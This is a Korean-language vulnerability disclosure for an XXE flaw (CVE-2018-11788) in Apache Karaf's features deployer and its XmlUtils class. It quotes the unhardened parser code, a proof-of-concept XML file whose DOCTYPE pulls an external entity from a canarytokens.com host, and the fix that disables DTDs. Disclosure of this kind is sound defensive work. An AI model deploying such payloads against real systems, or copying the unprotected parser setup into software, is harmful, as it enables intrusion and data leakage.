
Apache Karaf XXE 취약점 (CVE-2018-11788)
Apache Karaf는 현대적이고 다형적인(polymorphic) 애플리케이션 컨테이너입니다. OSGi로 구동되는 경량이면서도 강력하고 엔터프라이즈 환경에 적합한 컨테이너입니다. Apache Karaf는 '제품 프로젝트(product project)'로서 완전하고 턴키(turnkey) 방식의 런타임을 제공합니다. 이 런타임은 '다중 측면(multi-facets)'을 지니고 있어 OSGi 또는 비OSGi, 웹 애플리케이션, 서비스 기반 등 다양한 종류의 애플리케이션을 배포할 수 있습니다.
Apache Karaf에 대한 최근 연구에서 저는 해당 XML 파서에 XXE(XML eXternal Entity injection, XML 외부 엔티티 주입) 취약점이 존재함을 발견했습니다. 이는 파서가 XML 문서를 부적절하게 파싱하기 때문에 발생합니다.
공식 매뉴얼에 따르면, Apache Karaf는 기본적으로 features 디플로이어를 제공하며, 사용자가 파일을 deploy 폴더에 직접 넣어 features XML을 "핫 배포(hot deploy)"할 수 있게 해줍니다.
deploy 폴더에 features XML을 넣으면 features 디플로이어는 다음을 수행합니다:
예를 들어, deploy 폴더에 다음 XML을 넣으면 feature1과 feature2는 자동으로 설치되지만 feature3는 설치되지 않습니다:
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="feature1" version="1.0" install="auto">
...
</feature>
<feature name="feature2" version="1.0" install="auto">
...
</feature>
<feature name="feature3" version="1.0">
...
</feature>
</features>
디플로이어가 XML 파일을 어떻게 처리하는지 알아보기 위해 Github에서 Karaf의 소스 코드를 확인했고, 다음과 같은 호출 과정을 발견했습니다:
Activator 클래스는 doStart() 함수를 호출하여 디플로이어용 리스너(listener)를 시작합니다doStart() 함수는 FeatureDeploymentListener.init()을 호출하여 리스너를 초기화합니다bundleChanged - canHandle - getRootElementName 함수를 호출하여 XMLInputFactory를 이용해 XML 문서를 파싱합니다하지만 아래의 getRootElementName 함수를 더 자세히 조사한 결과, XXE에 대한 어떠한 방어 조치도 없었습니다.
private QName getRootElementName(File artifact) throws Exception {
if (xif == null) {
xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
}
try (InputStream is = new FileInputStream(artifact)) {
XMLStreamReader sr = xif.createXMLStreamReader(is);
sr.nextTag();
return sr.getName();
}
}
따라서 저는 이것이 Apache Karaf에 잠재적인 보안 위험을 초래한다고 판단했습니다.
제 가정을 검증하기 위해 https://karaf.apache.org/download.html에서 다운로드한 최신 공식 릴리스인 Apache Karaf 4.2.0에서 다음과 같이 테스트했습니다.
bin 폴더로 이동하여 아래와 같이 Karaf 명령 콘솔을 시작합니다 bin$ ./karaf
__ __ ____
/ //_/____ __________ _/ __/
/ ,< / __ `/ ___/ __ `/ /_
/ /| |/ /_/ / / / /_/ / __/
/_/ |_|\__,_/_/ \__,_/_/
Apache Karaf (4.2.0)
Hit '<tab>' for a list of available commands
and '[cmd] --help' for help on a specific command.
Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.
karaf@root()>
27av6zyg33g8q8xu338uvhnsc.canarytokens.com)<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="deployer" version="2.0" install="auto">
</feature>
</features>
deploy 폴더에 복사합니다apache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
잠시 기다리면 테스트 머신에서 DNS 요청이 발생하는 것을 확인할 수 있습니다. 이는 XML 파서가 DTD에 포함된 외부 엔티티를 로드하려고 시도하고 있음을 의미합니다

이 취약점을 예방하기 위한 간결한 정보를 제공하는 아래 OWASP 가이드를 따르십시오. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
예를 들어, getRootElementName 함수에 아래 코드를 추가하여 DTD와 외부 엔티티를 비활성화할 수 있습니다.
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities
위에서 언급한 발견 외에도, Apache Karaf 프로젝트의 또 다른 클래스인 XmlUtils도 XML 문서를 파싱할 때 XXE 취약점에 대한 어떠한 보호 조치도 추가하지 않았음을 발견했습니다.
package org.apache.karaf.util;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
/**
* Utils class to manipulate XML document in a thread safe way.
*/
public class XmlUtils {
private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();
public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(uri);
} finally {
db.reset();
}
}
public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(stream);
} finally {
db.reset();
}
}
public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
db.setErrorHandler(errorHandler);
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer();
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer(xsltSource);
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
SAXParserFactory spf = SAX_PARSER_FACTORY.get();
if (spf == null) {
spf = SAXParserFactory.newInstance();
spf.setNamespaceAware(true);
SAX_PARSER_FACTORY.set(spf);
}
return spf.newSAXParser().getXMLReader();
}
public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
if (dbf == null) {
dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
DOCUMENT_BUILDER_FACTORY.set(dbf);
}
return dbf.newDocumentBuilder();
}
public static Transformer transformer() throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer();
}
private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer(xsltSource);
}
}